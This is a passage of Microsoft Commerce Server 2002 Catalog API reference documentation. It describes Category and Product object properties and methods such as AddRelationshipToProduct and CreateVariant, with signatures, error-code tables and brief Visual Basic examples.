[in, optional] A VARIANT that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section.
eClassTypeRequired [Visual Basic]
A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section.
strPropertyToSortOn [C++]
[in, optional] A VARIANT that contains the property to sort on. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
strPropertyToSortOn [Visual Basic]
A Variant that contains the property to sort on. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record number. A value of one (1) indicates the first record.
lStartingRecord [Visual Basic]
A Variant that contains the starting record number. A value of one (1) indicates the first record.
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve.
plTotalRecordsInQuery [C++]
[out, optional] A pointer to a VARIANT used to return the total number of records in the query.
plTotalRecordsInQuery [Visual Basic]
A Variant used to return the total number of records in the query.
Products [C++]
[out, retval] A _Recordset object used to return the products.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011E [Visual Basic] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Remarks

[C++] The Products parameter contains valid data only if the property is accessed successfully.

If the properties specified in the strPropertyToSortOn parameter are invalid, then the recordset will be unsorted.

If the cscCategoryClass value is specified for the eClassTypeRequired parameter, the returned recordset will contain all the products and all the child categories in this category.

The Products property contains the product data for all the products in this category.

[C++] The returned recordset contains all the fields in the CatalogProduct Recordset.

[Visual Basic] The returned recordset contains all the fields in the CatalogProduct Recordset.

If this category contains no products, then the Products property returns an empty recordset whose EOF property is set to VARIANT_TRUE.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Category Object

[C++] ICategory3::get_DescendantProducts

[C++] ICategory3::get_RelatedProducts

[Visual Basic] Category.DescendantProducts

[Visual Basic] Category Object

[Visual Basic] Category.RelatedProducts


ICategory3::get_RelatedCategories Property [C++]

Category.RelatedCategories Property [Visual Basic]

The RelatedCategories property is a read-only recordset that contains all categories in the Product Catalog System related to this category.

Definition

[C++]
HRESULT ICategory3::get_RelatedCategories(
  _Recordset** RelatedCategories
);
[Visual Basic]
Property RelatedCategories As Recordset

Parameters

RelatedCategories [C++]
[out, retval] A _Recordset object used to return the related categories.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[C++] The RelatedCategories parameter contains valid data only if the property is accessed successfully.

The RelatedCategories property contains information on all the relationships this category has to other categories. The recordset returned contains one row for each relationship present.

The following table shows the fields in the returned recordset.

Field Data Type Description
CategoryName String
maximum of 128 characters 		The name of the category.
RelationshipName String
maximum of 128 characters 		The name of the relationship.
RelationshipDescription String
maximum of 256 characters 		The description of the relationship.
TargetCatalog String
maximum of 128 characters 		The name of the target catalog.

See Also

[C++] Category Object

[C++] ICategory3::get_AncestorCategories

[C++] ICategory3::get_ChildCategories

[C++] ICategory3::get_ParentCategories

[C++] ICategory3::AddRelationshipToCategory

[C++] ICategory3::RemoveRelationshipToCategory

[C++] ICategory3::SetRelatedCategories

[Visual Basic] Category Object

[Visual Basic] Category.AncestorCategories

[Visual Basic] Category.ChildCategories

[Visual Basic] Category.ParentCategories

[Visual Basic] Category.AddRelationshipToCategory

[Visual Basic] Category.RemoveRelationshipToCategory

[Visual Basic] Category.SetRelatedCategories


ICategory3::get_RelatedProducts Property [C++]

Category.RelatedProducts Property [Visual Basic]

The RelatedProducts property is a read-only recordset containing information about all products within the Product Catalog System related to this category.

Definition

[C++]
HRESULT ICategory3::get_RelatedProducts(
  _Recordset** RelatedProducts
);
[Visual Basic]
Property RelatedProducts As Recordset

Parameters

RelatedProducts [C++]
[out, retval] A _Recordset object used to return the related products.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[C++] The RelatedProducts parameter contains valid data only if the property is accessed successfully.

The recordset returned contains one row for each relationship present.

The following table shows the fields in the returned recordset.

Field Data Type Description
ProductID String
maximum of 256 characters 		The unique product identifier in the target catalog.
RelationshipName String
maximum of 128 characters 		The name of the relationship.
RelationshipDescription String
maximum of 256 characters 		The description of the relationship.
TargetCatalog String
maximum of 128 characters 		The name of the target catalog.

Important

  • The ProductID field in the returned recordset is not same as the <defined ProductID field> used in this recordset in Commerce Server 2000. If you are upgrading a Commerce Server 2000 application, you may need to modify your code to accept a String data type.

See Also

[C++] Category Object

[C++] ICategory3::get_DescendantProducts

[C++] ICategory3::get_Products

[C++] ICategory3::AddRelationshipToProduct

[C++] ICategory3::RemoveRelationshipToProduct

[C++] ICategory3::SetRelatedProducts

[Visual Basic] Category Object

[Visual Basic] Category.DescendantProducts

[Visual Basic] Category.Products

[Visual Basic] Category.AddRelationshipToProduct

[Visual Basic] Category.RemoveRelationshipToProduct

[Visual Basic] Category.SetRelatedProducts


Product Object [C++]

Product Object [Visual Basic]

Use this object to work with products and variants in a catalog.

ProgID: | Dependent (See Remarks for more information)
COM Class Name: | Product
Type Library Name: | Microsoft Commerce 2002 Catalog Type Library v1.3
DLL Name: | Catalog.dll
Threading Model: | Both
[C++]
COM Interface Name: | Iproduct3
Interface ID Constant: | IID_Iproduct3
Header File: | Catalog.h, mspu_guids.h
[C++]

In C++, use the IProduct3 interface to access the properties and methods of the Product object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
AddRelationshipToCategory | Adds a relationship to a specified category from this product.
AddRelationshipToProduct | Adds a relationship to another specified product from this product.
CreateVariant | Creates a new product variant.
DeleteVariant | Deletes a product variant.
GetVariantProperties | Returns the properties of a specified product variant.
RemoveRelationshipToCategory | Removes the specified relationship between this product and the specified category.
RemoveRelationshipToProduct | Removes the specified relationship between this product and the specified product.
SetProductProperties | Sets the properties for this product and all its variants.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
SetVariantProperties | Sets the properties for variants of this product.
[Visual Basic]
Method | Description
AddRelationshipToCategory | Adds a relationship to a specified category from this product.
AddRelationshipToProduct | Adds a relationship to another specified product from this product.
CreateVariant | Creates a new product variant.
DeleteVariant | Deletes a product variant.
GetVariantProperties | Returns the properties of a specified product variant.
RemoveRelationshipToCategory | Removes the specified relationship between this product and the specified category.
RemoveRelationshipToProduct | Removes the specified relationship between this product and the specified product.
SetProductProperties | Sets the properties for this product and all its variants.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
SetVariantProperties | Sets the properties for variants of this product.

Properties

[C++]
Property | Type | Description
AncestorCategories | _Recordset | Contains a recordset of category names that exist anywhere above this product, and that directly or indirectly contain this product in the hierarchy. This property is read-only.
CatalogName | BSTR | Contains the name of the catalog of which this Product object is a member. This property is read-only.
GetProductProperties | _Recordset | Contains a recordset containing the property values for this product. This property is read-only.
ParentCategories | _Recordset | Contains a recordset of categories that directly contain this product. This property is read-only.
PricingCategory | BSTR | Contains the name of the pricing category for this product. This property is read/write.
PrimaryParent | BSTR | Contains the name of the primary parent category for this product. This property is read/write.
ProductID | BSTR | Contains the unique ID for this product. This property is read-only.
RelatedCategories | _Recordset | Contains a recordset that describes all of the categories that are related to this product. This property is read-only.
RelatedProducts | _Recordset | Contains a recordset that describes all of the products that are related to this product. This property is read-only.
UseCategoryPricing | VARIANT_BOOL | Indicates whether the price is derived from the PrimaryParentCategory field. This property is read/write.
Variants | _Recordset | Contains a recordset that describes all of the variants of this product, if any. This property is read-only.
[Visual Basic]
Property | Type | Description
AncestorCategories | Recordset | Contains a recordset of category names that exist anywhere above this product, and that directly or indirectly contain this product in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Product object is a member. This property is read-only.
GetProductProperties | Recordset | Contains a recordset containing the property values for this product. This property is read-only.
ParentCategories | Recordset | Contains a recordset of categories that directly contain this product. This property is read-only.
PricingCategory | String | Contains the name of the pricing category for this product. This property is read/write.
PrimaryParent | String | Contains the name of the primary parent category for this product. This property is read/write.
ProductID | BSTR | Contains the unique identifier for this product This property is read-only.
RelatedCategories | Recordset | Contains a recordset that describes all of the categories that are related to this product. This property is read-only.
RelatedProducts | Recordset | Contains a recordset that describes all of the products that are related to this product. This property is read-only.
UseCategoryPricing | Boolean | Indicates whether the price is derived from the PrimaryParentCategory field. This property is read/write.
Variants | Recordset | Contains a recordset that describes all of the variants of this product, if any. This property is read-only.

Remarks

[C++]

The Product object is a dependent object. Obtain a pointer to the IProduct3 interface by calling one of the following methods:

  • IProductCatalog3::CreateProduct
  • IProductCatalog3::GetProduct
[Visual Basic]

The Product object is a dependent object. Obtain a reference to it by accessing the following properties:

  • ProductCatalog.CreateProduct
  • ProductCatalog.GetProduct


IProduct3 Methods [C++]

Product Methods [Visual Basic]

Methods

[C++]
Method | Description
AddRelationshipToCategory | Adds a relationship to a specified category from this product.
AddRelationshipToProduct | Adds a relationship to another specified product from this product.
CreateVariant | Creates a new product variant.
DeleteVariant | Deletes a product variant.
GetVariantProperties | Returns the properties of a specified product variant.
RemoveRelationshipToCategory | Removes the specified relationship between this product and the specified category.
RemoveRelationshipToProduct | Removes the specified relationship between this product and the specified product.
SetProductProperties | Sets the properties for this product and all its variants.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
SetVariantProperties | Sets the properties for variants of this product.
[Visual Basic]
Method | Description
AddRelationshipToCategory | Adds a relationship to a specified category from this product.
AddRelationshipToProduct | Adds a relationship to another specified product from this product.
CreateVariant | Creates a new product variant.
DeleteVariant | Deletes a product variant.
GetVariantProperties | Returns the properties of a specified product variant.
RemoveRelationshipToCategory | Removes the specified relationship between this product and the specified category.
RemoveRelationshipToProduct | Removes the specified relationship between this product and the specified product.
SetProductProperties | Sets the properties for this product and all its variants.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
SetVariantProperties | Sets the properties for variants of this product.


IProduct3::AddRelationshipToCategory Method [C++]

Product.AddRelationshipToCategory Method [Visual Basic]

Use this method to add a relationship to a specified category in a specified catalog from this product.

Definition

[C++]
HRESULT IProduct3::AddRelationshipToCategory(
  BSTR strRelatedCategoryName,
  BSTR strRelationshipName,
  VARIANT strRelationshipDescription,
  BSTR strTargetCatalogName
);
[Visual Basic]
Sub AddRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String,
  Optional strRelationshipDescription As Variant,
  strTargetCatalogName As String
)

Parameters

strRelatedCategoryName [C++]
[in] A BSTR that contains the name of the category to which a relationship is to be added.
strRelatedCategoryName [Visual Basic]
A String that contains the name of the category to which a relationship is to be added.
strRelationshipName [C++]
[in] A BSTR that contains a name for the relationship.
strRelationshipName [Visual Basic]
A String that contains a name for the relationship.
strRelationshipDescription [C++]
[in, optional] A VARIANT that optionally contains a description for the relationship. See the Remarks section for more information.
strRelationshipDescription [Visual Basic]
A Variant that optionally contains a description for the relationship. See the Remarks section for more information.
strTargetCatalogName [C++]
[in] A BSTR that contains the name of the catalog that contains the category specified in strRelatedCategoryName .
strTargetCatalogName [Visual Basic]
A String that contains the name of the catalog that contains the category specified in strRelatedCategoryName.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C++] 0x88980054 [Visual Basic] &H88980054 | The value you specified for the Relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_RELATION_DESC | [C++] 0x88980055 [Visual Basic] &H88980055 | The value you specified for the Relationship description exceeds 256 characters. Relationship Description should be less than or equal to 256 characters.
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The Category you specified doesn't exist.
E_CAT_INVALID_RELATION | [C++] 0x88980039 [Visual Basic] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_VC_CANT_EDIT_INCLUDED_RELATIONSHIP | [C++] 0x8898011B [Visual Basic] &H8898011B | A virtual catalog's included relationships cannot be directly edited. Instead, they can only be edited in the base catalog context.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The new relationship must have a name, which you specify in the strRelationshipName parameter. It may also optionally have a description, which you specify in the strRelationshipDescription parameter. The description of a relationship is a multilingual attribute. Specifying the strRelationshipDescription parameter will set the description in the current language of the catalog. Use the SetRelatedCategories method to create descriptions in other languages.

[Visual Basic]

The new relationship must have a name, which you specify in the strRelationshipName parameter. It may also optionally have a description, which you specify in the strRelationshipDescription parameter. The description of a relationship is a multilingual attribute. Specifying the strRelationshipDescription parameter will set the description in the current language of the catalog. Use the SetRelatedCategories method to create descriptions in other languages.

More than one relationship may be created between the same product and category; however, in this case each relationship created must be given a unique name.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'vDesc is a Variant of subtype String containing the description.
myProduct.AddRelationshipToCategory "Apparel", "Accessory", vDesc, "myCat"

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::AddRelationshipToProduct

[Visual Basic] Product.AddRelationshipToProduct

[C++] IProduct3::RemoveRelationshipToCategory

[Visual Basic] Product.RemoveRelationshipToCategory

[C++] IProduct3::SetRelatedCategories

[Visual Basic] Product.SetRelatedCategories


IProduct3::AddRelationshipToProduct Method [C++]

Product.AddRelationshipToProduct Method [Visual Basic]

Use this method to add a relationship to a specified product in the specified catalog from this product.

Definition

[C++]
HRESULT IProduct3::AddRelationshipToProduct(
  VARIANT varRelatedProductID,
  BSTR strRelationshipName,
  VARIANT strRelationshipDescription,
  BSTR strTargetCatalogName
);
[Visual Basic]
Sub AddRelationshipToProduct(
  varRelatedProductID As Variant,
  strRelationshipName As String,
  Optional strRelationshipDescription As Variant,
  BSTR strTargetCatalogName
)

Parameters

varRelatedProductID [C++]
[in] A VARIANT that contains the ID of the related product.
varRelatedProductID [Visual Basic]
A Variant that contains the ID of the related product.
strRelationshipName [C++]
[in] A BSTR that contains the name of the relationship.
strRelationshipName [Visual Basic]
A String that contains the name of the relationship.
strRelationshipDescription [C++]
[in, optional] A VARIANT that optionally contains a description for the relationship.
strRelationshipDescription [Visual Basic]
A Variant that optionally contains a description for the relationship.
strTargetCatalogName [C++]
[in] A BSTR that contains the name of the catalog that contains the product specified in varRelatedProductID .
strTargetCatalogName [Visual Basic]
A String that contains the name of the catalog that contains the product specified in varRelatedProductID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &Hx8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_RELATION_NAME | [C++] 0x88980054 [Visual Basic] &H88980054 | The value you specified for the Relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the productID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &Hx8898004E | The value you specified for the productID is either out of range or else does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_DESC | [C++] 0x88980055 [Visual Basic] &H88980055 | The value you specified for the Relationship description exceeds 256 characters. Relationship Description should be less than or equal to 256 characters.
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_INVALID_RELATION | [C++] 0x88980039 [Visual Basic] &H88980039 | An Invalid relation is specified. Self relations are not supported.
E_CAT_VC_CANT_EDIT_INCLUDED_RELATIONSHIP | [C++] 0x8898011B [Visual Basic] &H8898011B | A virtual catalog's included relationships cannot be directly edited. Instead, they can edited only in the base catalog context.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The new relationship must have a name, which you specify in the strRelationshipName parameter. It may also optionally have a description, which you specify in the strRelationshipDescription parameter. The description of a relationship is a multilingual attribute. Specifying the strRelationshipDescription parameter will set the description in the current language of the catalog. Use the SetRelatedProducts method to create descriptions in other languages.

[Visual Basic]

The new relationship must have a name, which you specify in the strRelationshipName parameter. It may also optionally have a description, which you specify in the strRelationshipDescription parameter. The description of a relationship is a multilingual attribute. Specifying the strRelationshipDescription parameter will set the description in the current language of the catalog. Use the SetRelatedProducts method to create descriptions in other languages.

More than one relationship may be created between the same two products; however, in this case each relationship created must be given a unique name.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'vProdID is a Variant containing the product ID.
'vDesc is a Variant of subtype String containing a description
'of the relationship.
myProduct.AddRelationshipToProduct vProdID, "Accessory", vDesc

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::AddRelationshipToCategory

[Visual Basic] Product.AddRelationshipToCategory

[C++] IProduct3::RemoveRelationshipToProduct

[Visual Basic] Product.RemoveRelationshipToProduct

[C++] IProduct3::SetRelatedProducts

[Visual Basic] Product.SetRelatedProducts


IProduct3::CreateVariant Method [C++]

Product.CreateVariant Method [Visual Basic]

Use this method to create a new product variant of the current product. Only product-specific attributes will be set in the new variant. This method applies only to base catalogs.

Definition

[C++]
HRESULT IProduct3::CreateVariant(
  VARIANT varProductVariantID,
  _Recordset** ppRSProductVariant
);
[Visual Basic]
Function CreateVariant(
  varProductVariantID As Variant
) As Recordset

Parameters

varProductVariantID [C++]
[in] A VARIANT that contains the unique ID of the product variant.
varProductVariantID [Visual Basic]
A Variant that contains the unique ID of the product variant.
ppRSProductVariant [C++]
[out, retval] A pointer to a Recordset object used to return the product variant.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a recordset that contains the properties for the variant.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C++] 0x88980032 [Visual Basic] &H88980032 | This catalog does not support variants. In order to support variants catalog has to be created with variant identifier.
E_CAT_NO_VARIANTS_UNDER_PRODUCT | [C++] 0x88980051 [Visual Basic] &H88980051 | You cannot create a variant under a regular product. Variants can be created under product families only.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_VARIANTID | [C++] 0x8898005C [Visual Basic] &H8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C++] 0x8898004D [Visual Basic] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
E_CAT_BLANK_VARIANT | [C++] 0x8898004F [Visual Basic] &H8898004F | You have specified a blank value for the VariantID. A variant cannot be created with a blank value.
E_CAT_VC_INVALID_VARIANT_ID | [C++] 0x889800FC [Visual Basic] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VARIANT_EXISTS | [C++] 0x88980026 [Visual Basic] &H88980026 | The product variant you specified already exists.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The ppRSProductVariant parameter contains valid data only if the method was accessed successfully.

The value and type of the varProductVariantID parameter must be valid for the product property specified as the unique ID for product variants. This property is specified when a catalog is created, as the strProductVariantID parameter to the ICatalogManager3::CreateCatalog method.

[Visual Basic]

The returned recordset contains valid data only if the method was accessed successfully.

The value and type of the varProductVariantID parameter must be valid for the product property specified as the unique ID for product variants. This property is specified when a catalog is created, as the strProductVariantID parameter to the CatalogManager.CreateCatalog method.

If the catalog created does not support variants, that is the strProductVariantID parameter was not specified on catalog creation, an error is returned.

Upon successful completion, the method returns an ActiveX Data Object (ADO) recordset that contains fields for all the properties defined for the new product variant and an integer field named OID. The OID field is used internally by the Product Catalog System and should not be updated. The returned recordset is updateable, but disconnected. In order to modify the variant properties, pass this recordset to the SetVariantProperties method.

Product variants inherit the properties that are present in the product definition. Values for non variant-specific product properties are propagated from the Product object down to the variants, but values for variant-specific properties must be explicitly set for each variant.

The variant ID value should be unique within the product family. There can be two product variants with the same variant IDs within the same catalog, as long as they are in different product families.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set rsVariantProps = myProduct.CreateVariant("SKU4005XLA")

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::DeleteVariant

[Visual Basic] Product.DeleteVariant

[C++] IProduct3::SetVariantProperties

[Visual Basic] Product.SetVariantProperties


IProduct3::DeleteVariant Method [C++]

Product.DeleteVariant Method [Visual Basic]

Use this method to delete the specified product variant. This method applies to base catalogs only.

Definition

[C++]
HRESULT IProduct3::DeleteVariant(
  VARIANT varVariantID
);
[Visual Basic]
Sub DeleteVariant(
  varVariantID As Variant
)

Parameters

varVariantID [C++]
[in] A VARIANT that contains the unique ID of the variant.
varVariantID [Visual Basic]
A Variant that contains the unique ID of the variant.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C++] 0x88980032 [Visual Basic] &H88980032 | This catalog does not support variants. In order to support variants, the catalog has to be created with variant identifier.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_VARIANTID | [C++] 0x8898005C [Visual Basic] &Hx8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C++] 0x8898004D [Visual Basic] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
